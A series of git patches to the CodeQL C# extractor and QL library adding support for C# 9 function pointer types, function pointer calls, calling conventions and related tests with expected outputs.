@delegate_type { override string getAPrimaryQlClass() { result = "DelegateType" } } +/** + * A function pointer type, for example + * + * ```csharp + * delegate*<int, void> + * ``` + */ +class FunctionPointerType extends Type, Parameterizable, @function_pointer_type { + /** Gets the return type of this function pointer. */ + Type getReturnType() { function_pointer_return_type(this, getTypeRef(result)) } + + /** Gets the calling convention. */ + int getCallingConvention() { function_pointer_calling_conventions(this, result) } + + /** Gets the unmanaged calling convention at index `i`. */ + Type getUnmanagedCallingConvention(int i) { + has_unmanaged_calling_conventions(this, i, getTypeRef(result)) + } + + /** Gets an unmanaged calling convention. */ + Type getAnUnmanagedCallingConvention() { result = getUnmanagedCallingConvention(_) } + + override string getAPrimaryQlClass() { result = "FunctionPointerType" } +} + /** * The `null` type. The type of the `null` literal. */ diff --git a/csharp/ql/src/semmle/code/csharp/exprs/Call.qll b/csharp/ql/src/semmle/code/csharp/exprs/Call.qll index 150533526ed..a5348040d54 100644 --- a/csharp/ql/src/semmle/code/csharp/exprs/Call.qll +++ b/csharp/ql/src/semmle/code/csharp/exprs/Call.qll @@ -604,6 +604,27 @@ class DelegateCall extends Call, @delegate_invocation_expr { override string getAPrimaryQlClass() { result = "DelegateCall" } } +/** + * A function pointer call, for example `fp(1)` on line 3 in + * + * ```csharp + * class A { + * void Call(delegate*<int, void> fp) { + * fp(1); + * } + * } + * ``` + */ +class FunctionPointerCall extends Call, @function_pointer_invocation_expr { + override Callable getTarget() { none() } + + override Expr getRuntimeArgument(int i) { result = getArgument(i) } + + override string toString() { result = "function pointer call" } + + override string getAPrimaryQlClass() { result = "FunctionPointerCall" } +} + /** * A call to an accessor. Either a property accessor call (`PropertyCall`), * an indexer accessor call (`IndexerCall`), or an event accessor call diff --git a/csharp/ql/test/library-tests/csharp9/FunctionPointer.cs b/csharp/ql/test/library-tests/csharp9/FunctionPointer.cs index 471f611159e..0bbf0787d48 100644 --- a/csharp/ql/test/library-tests/csharp9/FunctionPointer.cs +++ b/csharp/ql/test/library-tests/csharp9/FunctionPointer.cs @@ -2,13 +2,13 @@ using System; #nullable enable -public class Class1 +public class FnPointer { public unsafe static class Program { - static delegate*<int> pointer = &Main; + static delegate*<int> pointer = &M0; - public static int Main() + public static int M0() { return 0; } @@ -19,7 +19,7 @@ public class Class1 int j = f(ref i, out object? o); } - static void M2<T>(delegate* unmanaged[Stdcall, SuppressGCTransition]<ref int, out object?, T, void> f) where T : new() + static void M2<T>(delegate* unmanaged[Stdcall/*, StdcallSuppressGCTransition*/]<ref int, out object?, T, void> f) where T : new() { int i = 42; f(ref i, out object? o, new T()); diff --git a/csharp/ql/test/library-tests/csharp9/FunctionPointer.expected b/csharp/ql/test/library-tests/csharp9/FunctionPointer.expected new file mode 100644 index 00000000000..59a4e39ef01 --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/FunctionPointer.expected @@ -0,0 +1,22 @@ +type +| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 in,Int32 ref> | Int32 | 0 | +| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32> | Int32 | 0 | +| file://:0:0:0:0 | delegate* default<Int32> | Int32 | 0 | +| file://:0:0:0:0 | delegate* default<T,Int32> | Int32 | 0 | +| file://:0:0:0:0 | delegate* stdcall<Int32 ref,Object out,T,Void> | Void | 2 | +unmanagedCallingConvention +parameter +| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 in,Int32 ref> | 0 | file://:0:0:0:0 | | Int32 | +| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 in,Int32 ref> | 1 | file://:0:0:0:0 | `1 | Object | +| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 in,Int32 ref> | 2 | file://:0:0:0:0 | `2 | Int32 | +| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32> | 0 | file://:0:0:0:0 | | Int32 | +| file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32> | 1 | file://:0:0:0:0 | `1 | Object | +| file://:0:0:0:0 | delegate* default<T,Int32> | 0 | file://:0:0:0:0 | | T | +| file://:0:0:0:0 | delegate* stdcall<Int32 ref,Object out,T,Void> | 0 | file://:0:0:0:0 | | Int32 | +| file://:0:0:0:0 | delegate* stdcall<Int32 ref,Object out,T,Void> | 1 | file://:0:0:0:0 | `1 | Object | +| file://:0:0:0:0 | delegate* stdcall<Int32 ref,Object out,T,Void> | 2 | file://:0:0:0:0 | `2 | T | +invocation +| FunctionPointer.cs:19:21:19:43 | function pointer call | +| FunctionPointer.cs:25:13:25:44 | function pointer call | +| FunctionPointer.cs:31:29:31:57 | function pointer call | +| FunctionPointer.cs:36:21:36:30 | function pointer call | diff --git a/csharp/ql/test/library-tests/csharp9/FunctionPointer.ql b/csharp/ql/test/library-tests/csharp9/FunctionPointer.ql new file mode 100644 index 00000000000..d200484374b --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/FunctionPointer.ql @@ -0,0 +1,16 @@ +import csharp + +query predicate type(FunctionPointerType fpt, string returnType, int callingConvention) { + fpt.getReturnType().toString() = returnType and + fpt.getCallingConvention() = callingConvention +} + +query predicate unmanagedCallingConvention(FunctionPointerType fpt, int i, string callingConvention) { + fpt.getUnmanagedCallingConvention(i).toString() = callingConvention +} + +query predicate parameter(FunctionPointerType fpt, int i, Parameter p, string t) { + fpt.getParameter(i) = p and p.getType().toString() = t +} + +query predicate invocation(FunctionPointerCall fpc) { any() } diff --git a/csharp/ql/test/library-tests/csharp9/PrintAst.expected b/csharp/ql/test/library-tests/csharp9/PrintAst.expected index c3aabb85092..3a36c295c0a 100644 --- a/csharp/ql/test/library-tests/csharp9/PrintAst.expected +++ b/csharp/ql/test/library-tests/csharp9/PrintAst.expected @@ -1,3 +1,5 @@ +FunctionPointer.cs: +# 9| [MethodAccess] access to method M0 AnonymousObjectCreation.cs: # 5| [Class] AnonObj # 7| 5: [Field] l @@ -103,6 +105,94 @@ Discard.cs: # 10| 4: [BlockStmt] {...} # 10| 0: [ReturnStmt] return ...; # 10| 0: [IntLiteral] 0 +FunctionPointer.cs: +# 5| [Class] FnPointer +# 7| 5: [Class] Program +# 9| 5: [Field] pointer +# 9| -1: [TypeMention] delegate* default<Int32> +# 9| 1: [AssignExpr] ... = ... +# 9| 0: [FieldAccess] access to field pointer +# 11| 6: [Method] M0 +# 11| -1: [TypeMention] int +# 12| 4: [BlockStmt] {...} +# 13| 0: [ReturnStmt] return ...; +# 13| 0: [IntLiteral] 0 +# 16| 7: [Method] M1 +# 16| -1: [TypeMention] Void +#-----| 2: (Parameters) +# 16| 0: [Parameter] f +# 16| -1: [TypeMention] delegate* default<Int32 ref,Object out,Int32> +# 17| 4: [BlockStmt] {...} +# 18| 0: [LocalVariableDeclStmt] ... ...; +# 18| 0: [LocalVariableDeclAndInitExpr] Int32 i = ... +# 18| -1: [TypeMention] int +# 18| 0: [LocalVariableAccess] access to local variable i +# 18| 1: [IntLiteral] 42 +# 19| 1: [LocalVariableDeclStmt] ... ...; +# 19| 0: [LocalVariableDeclAndInitExpr] Int32 j = ... +# 19| -1: [TypeMention] int +# 19| 0: [LocalVariableAccess] access to local variable j +# 19| 1: [FunctionPointerCall] function pointer call +# 19| -1: [ParameterAccess] access to parameter f +# 19| 0: [LocalVariableAccess] access to local variable i +# 19| 1: [LocalVariableAccess,LocalVariableDeclExpr] Object o +# 22| 8: [Method] M2 +# 22| -1: [TypeMention] Void +#-----| 1: (Type parameters) +# 22| 0: [TypeParameter] T +#-----| 2: (Parameters) +# 22| 0: [Parameter] f +# 22| -1: [TypeMention] delegate* stdcall<Int32 ref,Object out,T,Void> +# 23| 4: [BlockStmt] {...} +# 24| 0: [LocalVariableDeclStmt] ... ...; +# 24| 0: [LocalVariableDeclAndInitExpr] Int32 i = ... +# 24| -1: [TypeMention] int +# 24| 0: [LocalVariableAccess] access to local variable i +# 24| 1: [IntLiteral] 42 +# 25| 1: [ExprStmt] ...; +# 25| 0: [FunctionPointerCall] function pointer call +# 25| -1: [ParameterAccess] access to parameter f +# 25| 0: [LocalVariableAccess] access to local variable i +# 25| 1: [LocalVariableAccess,LocalVariableDeclExpr] Object o +# 25| 2: [ObjectCreation] object creation of type T +# 25| 0: [TypeMention] T +# 28| 9: [Method] M3 +# 28| -1: [TypeMention] Void +#-----| 2: (Parameters) +# 28| 0: [Parameter] f +# 28| -1: [TypeMention] delegate* default<Int32 ref,Object out,Int32 in,Int32 ref> +# 29| 4: [BlockStmt] {...} +# 30| 0: [LocalVariableDeclStmt] ... ...; +# 30| 0: [LocalVariableDeclAndInitExpr] Int32 i = ... +# 30| -1: [TypeMention] int +# 30| 0: [LocalVariableAccess] access to local variable i +# 30| 1: [IntLiteral] 42 +# 31| 1: [LocalVariableDeclStmt] ... ...; +# 31| 0: [LocalVariableDeclAndInitExpr] Int32 j = ... +# 31| -1: [TypeMention] null +# 31| 0: [LocalVariableAccess] access to local variable j +# 31| 1: [RefExpr] ref ... +# 31| 0: [FunctionPointerCall] function pointer call +# 31| -1: [ParameterAccess] access to parameter f +# 31| 0: [LocalVariableAccess] access to local variable i +# 31| 1: [LocalVariableAccess,LocalVariableDeclExpr] Object o +# 31| 2: [LocalVariableAccess] access to local variable i +# 34| 10: [Method] M4 +# 34| -1: [TypeMention] Void +#-----| 1: (Type parameters) +# 34| 0: [TypeParameter] T +#-----| 2: (Parameters) +# 34| 0: [Parameter] f +# 34| -1: [TypeMention] delegate* default<T,Int32> +# 35| 4: [BlockStmt] {...} +# 36| 0: [LocalVariableDeclStmt] ... ...; +# 36| 0: [LocalVariableDeclAndInitExpr] Int32 j = ... +# 36| -1: [TypeMention] int +# 36| 0: [LocalVariableAccess] access to local variable j +# 36| 1: [FunctionPointerCall] function pointer call +# 36| -1: [ParameterAccess] access to parameter f +# 36| 0: [ObjectCreation] object creation of type T +# 36| 0: [TypeMention] T InitOnlyProperty.cs: # 3| [NamespaceDeclaration] namespace ... { ... } # 5| 1: [Class] IsExternalInit @@ -136,6 +226,8 @@ InitOnlyProperty.cs: # 18| [Class] Derived #-----| 3: (Base types) # 18| 0: [TypeMention] Base +# 18| 0: [TypeMention] Base +# 18| 0: [TypeMention] Base # 20| 5: [Property] Prop1 # 20| -1: [TypeMention] int # 20| 3: [Getter] get_Prop1 diff --git a/csharp/ql/test/library-tests/csharp9/typeParameterNullability.expected b/csharp/ql/test/library-tests/csharp9/typeParameterNullability.expected index cfec2a5ca11..cd42090259a 100644 --- a/csharp/ql/test/library-tests/csharp9/typeParameterNullability.expected +++ b/csharp/ql/test/library-tests/csharp9/typeParameterNullability.expected @@ -10,6 +10,8 @@ valueType | TypeParameterNullability.cs:19:29:19:29 | T | | TypeParameterNullability.cs:24:29:24:29 | T | valueOrRefType +| FunctionPointer.cs:22:24:22:24 | T | +| FunctionPointer.cs:34:24:34:24 | T | | TypeParameterNullability.cs:5:28:5:28 | T | | TypeParameterNullability.cs:9:28:9:28 | T | | TypeParameterNullability.cs:15:29:15:29 | T | diff --git a/csharp/upgrades/TO_CHANGE/upgrade.properties b/csharp/upgrades/TO_CHANGE/upgrade.properties index f27d93bcd0e..ff9999cd8df 100644 --- a/csharp/upgrades/TO_CHANGE/upgrade.properties +++ b/csharp/upgrades/TO_CHANGE/upgrade.properties @@ -1,2 +1,2 @@ description: Added '@function_pointer_type', '@function_pointer_invocation_expr' and related relations. -compatibility: full +compatibility: backwards From a11d8520546052725111939ae9b1a85712a34c74 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Mon, 14 Dec 2020 17:11:30 +0100 Subject: [PATCH 0703/1241] Fix address of unary operator extraction --- .../Semmle.Extraction.CSharp/Entities/Expression.cs | 5 +++++ csharp/ql/test/library-tests/csharp9/PrintAst.expected | 4 ++-- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expression.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expression.cs index 7ac9d80cffb..9d701d242a3 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expression.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expression.cs @@ -316,6 +316,11 @@ namespace Semmle.Extraction.CSharp.Entities /// </summary> public static ExprKind AdjustKind(this Expression.CallType ct, ExprKind k) { + if (k == ExprKind.ADDRESS_OF) + { + return k; + } + switch (ct) { case Expression.CallType.Dynamic: diff --git a/csharp/ql/test/library-tests/csharp9/PrintAst.expected b/csharp/ql/test/library-tests/csharp9/PrintAst.expected index 3a36c295c0a..83201311115 100644 --- a/csharp/ql/test/library-tests/csharp9/PrintAst.expected +++ b/csharp/ql/test/library-tests/csharp9/PrintAst.expected @@ -1,5 +1,3 @@ -FunctionPointer.cs: -# 9| [MethodAccess] access to method M0 AnonymousObjectCreation.cs: # 5| [Class] AnonObj # 7| 5: [Field] l @@ -112,6 +110,8 @@ FunctionPointer.cs: # 9| -1: [TypeMention] delegate* default<Int32> # 9| 1: [AssignExpr] ... = ... # 9| 0: [FieldAccess] access to field pointer +# 9| 1: [AddressOfExpr] &... +# 9| 0: [MethodAccess] access to method M0 # 11| 6: [Method] M0 # 11| -1: [TypeMention] int # 12| 4: [BlockStmt] {...} From 15e88471be723d73939ee49f6bf594b90c8c2536 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Tue, 15 Dec 2020 11:04:49 +0100 Subject: [PATCH 0704/1241] Adjust 'Cast.getTargetType()' to return the expression type instead of the type access type --- csharp/ql/src/semmle/code/csharp/exprs/Expr.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll b/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll index e3dc50f52f2..09239817953 100644 --- a/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll +++ b/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll @@ -617,7 +617,7 @@ class Cast extends Expr { TypeAccess getTypeAccess() { result = this.getChild(1) } /** Gets the type that the underlying expression is being cast to. */ - Type getTargetType() { result = this.getTypeAccess().getTarget() } + Type getTargetType() { result = this.getType() } /** Gets the type of the underlying expression. */ Type getSourceType() { result = this.getExpr().getType() } From fd27bde4b5f3076f42e9ddd844b6f9d3bf5f24ea Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Tue, 15 Dec 2020 11:05:11 +0100 Subject: [PATCH 0705/1241] Add function pointer conversion tests --- .../library-tests/csharp9/FunctionPointer.cs | 13 ++++++++ .../csharp9/FunctionPointer.expected | 11 +++++++ .../library-tests/csharp9/FunctionPointer.ql | 4 +++ .../library-tests/csharp9/PrintAst.expected | 31 +++++++++++++++++++ 4 files changed, 59 insertions(+) diff --git a/csharp/ql/test/library-tests/csharp9/FunctionPointer.cs b/csharp/ql/test/library-tests/csharp9/FunctionPointer.cs index 0bbf0787d48..bd0ddc30906 100644 --- a/csharp/ql/test/library-tests/csharp9/FunctionPointer.cs +++ b/csharp/ql/test/library-tests/csharp9/FunctionPointer.cs @@ -35,5 +35,18 @@ public class FnPointer { int j = f(new T()); } + + static void M5(delegate*<B, A> f, delegate*<A, B> ff) + { + M5(ff, ff); // implicit conversion due to implicit reference conversion + } + + static void M6(delegate*<int*, void*> f, delegate*<void*, int*> ff) + { + M6(ff, ff); // implicit conversion due to implicit pointer conversion + } + + class A { } + class B : A { } } } \ No newline at end of file diff --git a/csharp/ql/test/library-tests/csharp9/FunctionPointer.expected b/csharp/ql/test/library-tests/csharp9/FunctionPointer.expected index 59a4e39ef01..c70fafe918a 100644 --- a/csharp/ql/test/library-tests/csharp9/FunctionPointer.expected +++ b/csharp/ql/test/library-tests/csharp9/FunctionPointer.expected @@ -1,17 +1,25 @@ type +| file://:0:0:0:0 | delegate* default<A,B> | B | 0 | +| file://:0:0:0:0 | delegate* default<B,A> | A | 0 | | file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 in,Int32 ref> | Int32 | 0 | | file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32> | Int32 | 0 | +| file://:0:0:0:0 | delegate* default<Int32*,Void*> | Void* | 0 | | file://:0:0:0:0 | delegate* default<Int32> | Int32 | 0 | | file://:0:0:0:0 | delegate* default<T,Int32> | Int32 | 0 | +| file://:0:0:0:0 | delegate* default<Void*,Int32*> | Int32* | 0 | | file://:0:0:0:0 | delegate* stdcall<Int32 ref,Object out,T,Void> | Void | 2 | unmanagedCallingConvention parameter +| file://:0:0:0:0 | delegate* default<A,B> | 0 | file://:0:0:0:0 | | A | +| file://:0:0:0:0 | delegate* default<B,A> | 0 | file://:0:0:0:0 | | B | | file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 in,Int32 ref> | 0 | file://:0:0:0:0 | | Int32 | | file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 in,Int32 ref> | 1 | file://:0:0:0:0 | `1 | Object | | file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32 in,Int32 ref> | 2 | file://:0:0:0:0 | `2 | Int32 | | file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32> | 0 | file://:0:0:0:0 | | Int32 | | file://:0:0:0:0 | delegate* default<Int32 ref,Object out,Int32> | 1 | file://:0:0:0:0 | `1 | Object | +| file://:0:0:0:0 | delegate* default<Int32*,Void*> | 0 | file://:0:0:0:0 | | Int32* | | file://:0:0:0:0 | delegate* default<T,Int32> | 0 | file://:0:0:0:0 | | T | +| file://:0:0:0:0 | delegate* default<Void*,Int32*> | 0 | file://:0:0:0:0 | | Void* | | file://:0:0:0:0 | delegate* stdcall<Int32 ref,Object out,T,Void> | 0 | file://:0:0:0:0 | | Int32 | | file://:0:0:0:0 | delegate* stdcall<Int32 ref,Object out,T,Void> | 1 | file://:0:0:0:0 | `1 | Object | | file://:0:0:0:0 | delegate* stdcall<Int32 ref,Object out,T,Void> | 2 | file://:0:0:0:0 | `2 | T | @@ -20,3 +28,6 @@ invocation | FunctionPointer.cs:25:13:25:44 | function pointer call | | FunctionPointer.cs:31:29:31:57 | function pointer call | | FunctionPointer.cs:36:21:36:30 | function pointer call | +casts +| FunctionPointer.cs:41:16:41:17 | (...) ... | file://:0:0:0:0 | delegate* default<A,B> | file://:0:0:0:0 | delegate* default<B,A> | +| FunctionPointer.cs:46:16:46:17 | (...) ... | file://:0:0:0:0 | delegate* default<Void*,Int32*> | file://:0:0:0:0 | delegate* default<Int32*,Void*> | diff --git a/csharp/ql/test/library-tests/csharp9/FunctionPointer.ql b/csharp/ql/test/library-tests/csharp9/FunctionPointer.ql index d200484374b..976dce29ed1 100644 --- a/csharp/ql/test/library-tests/csharp9/FunctionPointer.ql +++ b/csharp/ql/test/library-tests/csharp9/FunctionPointer.ql @@ -14,3 +14,7 @@ query predicate parameter(FunctionPointerType fpt, int i, Parameter p, string t) } query predicate invocation(FunctionPointerCall fpc) { any() } + +query predicate casts(ImplicitCast cast, FunctionPointerType fromType, FunctionPointerType toType) { + cast.getSourceType() = fromType and cast.getTargetType() = toType +} diff --git a/csharp/ql/test/library-tests/csharp9/PrintAst.expected b/csharp/ql/test/library-tests/csharp9/PrintAst.expected index 83201311115..30318171c71 100644 --- a/csharp/ql/test/library-tests/csharp9/PrintAst.expected +++ b/csharp/ql/test/library-tests/csharp9/PrintAst.expected @@ -193,6 +193,37 @@ FunctionPointer.cs: # 36| -1: [ParameterAccess] access to parameter f # 36| 0: [ObjectCreation] object creation of type T # 36| 0: [TypeMention] T +# 39| 11: [Method] M5 +# 39| -1: [TypeMention] Void +#-----| 2: (Parameters) +# 39| 0: [Parameter] f +# 39| -1: [TypeMention] delegate* default<B,A> +# 39| 1: [Parameter] ff +# 39| -1: [TypeMention] delegate* default<A,B> +# 40| 4: [BlockStmt] {...} +# 41| 0: [ExprStmt] ...; +# 41| 0: [MethodCall] call to method M5 +# 41| 0: [CastExpr] (...) ... +# 41| 1: [ParameterAccess] access to parameter ff +# 41| 1: [ParameterAccess] access to parameter ff +# 44| 12: [Method] M6 +# 44| -1: [TypeMention] Void +#-----| 2: (Parameters) +# 44| 0: [Parameter] f +# 44| -1: [TypeMention] delegate* default<Int32*,Void*> +# 44| 1: [Parameter] ff +# 44| -1: [TypeMention] delegate* default<Void*,Int32*> +# 45| 4: [BlockStmt] {...} +# 46| 0: [ExprStmt] ...; +# 46| 0: [MethodCall] call to method M6 +# 46| 0: [CastExpr] (...) ... +# 46| 1: [ParameterAccess] access to parameter ff +# 46| 1: [ParameterAccess] access to parameter ff +# 49| 13: [Class] A +# 50| 14: [Class] B +#-----| 3: (Base types) +# 50| 0: [TypeMention] A +# 50| 0: [TypeMention] A InitOnlyProperty.cs: # 3| [NamespaceDeclaration] namespace ... { ... } # 5| 1: [Class] IsExternalInit From a9986ca72d5ec1642495cb66ade770c420831b2c Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Tue, 12 Jan 2021 14:10:01 +0100 Subject: [PATCH 0706/1241] Fix expected printed AST --- csharp/ql/test/library-tests/csharp9/FunctionPointer.cs | 2 +- csharp/ql/test/library-tests/csharp9/PrintAst.expected | 3 --- 2 files changed, 1 insertion(+), 4 deletions(-) diff --git a/csharp/ql/test/library-tests/csharp9/FunctionPointer.cs b/csharp/ql/test/library-tests/csharp9/FunctionPointer.cs index bd0ddc30906..f560f2767d7 100644 --- a/csharp/ql/test/library-tests/csharp9/FunctionPointer.cs +++ b/csharp/ql/test/library-tests/csharp9/FunctionPointer.cs @@ -1,6 +1,6 @@ using System; -#nullable enable + public class FnPointer { diff --git a/csharp/ql/test/library-tests/csharp9/PrintAst.expected b/csharp/ql/test/library-tests/csharp9/PrintAst.expected index 30318171c71..b94262ac27f 100644 --- a/csharp/ql/test/library-tests/csharp9/PrintAst.expected +++ b/csharp/ql/test/library-tests/csharp9/PrintAst.expected @@ -223,7 +223,6 @@ FunctionPointer.cs: # 50| 14: [Class] B #-----| 3: (Base types) # 50| 0: [TypeMention] A -# 50| 0: [TypeMention] A InitOnlyProperty.cs: # 3| [NamespaceDeclaration] namespace ... { ... } # 5| 1: [Class] IsExternalInit @@ -257,8 +256,6 @@ InitOnlyProperty.cs: # 18| [Class] Derived #-----| 3: (Base types) # 18| 0: [TypeMention] Base -# 18| 0: [TypeMention] Base -# 18| 0: [TypeMention] Base # 20| 5: [Property] Prop1 # 20| -1: [TypeMention] int # 20| 3: [Getter] get_Prop1 From 348fe8f2fc1290644eab8bbbf68c31f5baabd03d Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Thu, 14 Jan 2021 15:50:33 +0100 Subject: [PATCH 0707/1241] Address PR review comments --- .../Entities/Types/FunctionPointerType.cs | 6 +- .../SymbolExtensions.cs | 63 ++++--------------- csharp/ql/src/semmle/code/csharp/Type.qll | 63 ++++++++++++++++++- .../library-tests/csharp9/FunctionPointer.cs | 2 +- .../csharp9/FunctionPointer.expected | 22 +++---- .../library-tests/csharp9/FunctionPointer.ql | 4 +- 6 files changed, 90 insertions(+), 70 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/FunctionPointerType.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/FunctionPointerType.cs index e4becfb9d32..1bf68a4c3c2 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/FunctionPointerType.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/FunctionPointerType.cs @@ -21,12 +21,10 @@ namespace Semmle.Extraction.CSharp.Entities public override void Populate(TextWriter trapFile) { - var unmanagedCallingConventionTypes = symbol.Signature.UnmanagedCallingConventionTypes.Select(nt => Create(Context, nt)).ToArray(); - trapFile.function_pointer_calling_conventions(this, (int)symbol.Signature.CallingConvention); - for (var i = 0; i < unmanagedCallingConventionTypes.Length; i++) + foreach (var (conv, i) in symbol.Signature.UnmanagedCallingConventionTypes.Select((nt, i) => (Create(Context, nt), i))) { - trapFile.has_unmanaged_calling_conventions(this, i, unmanagedCallingConventionTypes[i].TypeRef); + trapFile.has_unmanaged_calling_conventions(this, i, conv.TypeRef); } PopulateType(trapFile); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/SymbolExtensions.cs b/csharp/extractor/Semmle.Extraction.CSharp/SymbolExtensions.cs index 41278b59d4a..77e27a00be5 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/SymbolExtensions.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/SymbolExtensions.cs @@ -278,49 +278,7 @@ namespace Semmle.Extraction.CSharp private static void BuildFunctionPointerTypeId(this IFunctionPointerTypeSymbol funptr, Context cx, TextWriter trapFile, ISymbol symbolBeingDefined) { - trapFile.Write("delegate* "); - trapFile.Write(funptr.Signature.CallingConvention.ToString().ToLowerInvariant()); - if (funptr.Signature.UnmanagedCallingConventionTypes.Any()) - { - trapFile.Write('['); - trapFile.BuildList(",", funptr.Signature.UnmanagedCallingConventionTypes, - (ta, tb0) => ta.BuildOrWriteId(cx, tb0, symbolBeingDefined) - ); - trapFile.Write("]"); - } - - trapFile.Write('<'); - trapFile.BuildList(",", funptr.Signature.Parameters, - (p, trap) => - { - p.Type.BuildOrWriteId(cx, trap, symbolBeingDefined); - switch (p.RefKind) - { - case RefKind.Out: - trap.Write(" out"); - break; - case RefKind.In: - trap.Write(" in"); - break; - case RefKind.Ref: - trap.Write(" ref"); - break; - } - }); - - if (funptr.Signature.Parameters.Any()) - { - trapFile.Write(","); - } - - funptr.Signature.ReturnType.BuildOrWriteId(cx, trapFile, symbolBeingDefined); - - if (funptr.Signature.ReturnsByRef) - trapFile.Write(" ref"); - if (funptr.Signature.ReturnsByRefReadonly) - trapFile.Write(" readonly ref"); - - trapFile.Write('>'); + BuildFunctionPointerSignature(funptr, trapFile, (s, tw) => s.BuildOrWriteId(cx, tw, symbolBeingDefined)); } private static void BuildNamedTypeId(this INamedTypeSymbol named, Context cx, TextWriter trapFile, ISymbol symbolBeingDefined, bool addBaseClass, bool constructUnderlyingTupleType) @@ -468,7 +426,8 @@ namespace Semmle.Extraction.CSharp } } - private static void BuildFunctionPointerTypeDisplayName(this IFunctionPointerTypeSymbol funptr, Context cx, TextWriter trapFile) + public static void BuildFunctionPointerSignature(IFunctionPointerTypeSymbol funptr, TextWriter trapFile, + Action<ITypeSymbol, TextWriter> buildNested) { trapFile.Write("delegate* "); trapFile.Write(funptr.Signature.CallingConvention.ToString().ToLowerInvariant()); @@ -476,10 +435,7 @@ namespace Semmle.Extraction.CSharp if (funptr.Signature.UnmanagedCallingConventionTypes.Any()) { trapFile.Write('['); - trapFile.BuildList( - ",", - funptr.Signature.UnmanagedCallingConventionTypes, - (t, tb0) => t.BuildDisplayName(cx, tb0)); + trapFile.BuildList(",", funptr.Signature.UnmanagedCallingConventionTypes, buildNested); trapFile.Write("]"); } @@ -487,7 +443,7 @@ namespace Semmle.Extraction.CSharp trapFile.BuildList(",", funptr.Signature.Parameters, (p, trap) => { - p.Type.BuildDisplayName(cx, trapFile); + buildNested(p.Type, trap); switch (p.RefKind) { case RefKind.Out: @@ -507,16 +463,21 @@ namespace Semmle.Extraction.CSharp trapFile.Write(","); } - funptr.Signature.ReturnType.BuildDisplayName(cx, trapFile); + buildNested(funptr.Signature.ReturnType, trapFile); if (funptr.Signature.ReturnsByRef) trapFile.Write(" ref"); if (funptr.Signature.ReturnsByRefReadonly) - trapFile.Write(" readonly ref"); + trapFile.Write(" ref readonly"); trapFile.Write('>'); } + private static void BuildFunctionPointerTypeDisplayName(this IFunctionPointerTypeSymbol funptr, Context cx, TextWriter trapFile) + { + BuildFunctionPointerSignature(funptr, trapFile, (s, tw) => s.BuildDisplayName(cx, tw)); + } + private static void BuildNamedTypeDisplayName(this INamedTypeSymbol namedType, Context cx, TextWriter trapFile, bool constructUnderlyingTupleType) { if (!constructUnderlyingTupleType && namedType.IsTupleType) diff --git a/csharp/ql/src/semmle/code/csharp/Type.qll b/csharp/ql/src/semmle/code/csharp/Type.qll index a6adb2bbaa7..eb7f3ea119b 100644 --- a/csharp/ql/src/semmle/code/csharp/Type.qll +++ b/csharp/ql/src/semmle/code/csharp/Type.qll @@ -797,6 +797,63 @@ class DelegateType extends RefType, Parameterizable, @delegate_type { override string getAPrimaryQlClass() { result = "DelegateType" } } +private newtype TCallingConvention = + MkCallingConvention(int i) { function_pointer_calling_conventions(_, i) } + +/** + * Represents a signature calling convention. Specifies how arguments in a given + * signature are passed from the caller to the callee. + */ +class CallingConvention extends TCallingConvention { + string toString() { result = "CallingConvention" } +} + +/** Managed calling convention with fixed-length argument list. */ +class DefaultCallingConvention extends CallingConvention { + DefaultCallingConvention() { this = MkCallingConvention(0) } + + override string toString() { result = "DefaultCallingConvention" } +} + +/** Unmanaged C/C++-style calling convention where the call stack is cleaned by the caller. */ +class CDeclCallingConvention extends CallingConvention { + CDeclCallingConvention() { this = MkCallingConvention(1) } + + override string toString() { result = "CDeclCallingConvention" } +} + +/** Unmanaged calling convention where call stack is cleaned up by the callee. */ +class StdCallCallingConvention extends CallingConvention { + StdCallCallingConvention() { this = MkCallingConvention(2) } + + override string toString() { result = "StdCallCallingConvention" } +} + +/** + * Unmanaged C++-style calling convention for calling instance member functions + * with a fixed argument list. + */ +class ThisCallCallingConvention extends CallingConvention { + ThisCallCallingConvention() { this = MkCallingConvention(3) } + + override string toString() { result = "ThisCallCallingConvention" } +} + +/** Unmanaged calling convention where arguments are passed in registers when possible. */ +class FastCallCallingConvention extends CallingConvention { + FastCallCallingConvention() { this = MkCallingConvention(4) } + + override string toString() { result = "FastCallCallingConvention" } +} + +/** Managed calling convention for passing extra arguments. */ +class VarArgsCallingConvention extends CallingConvention { 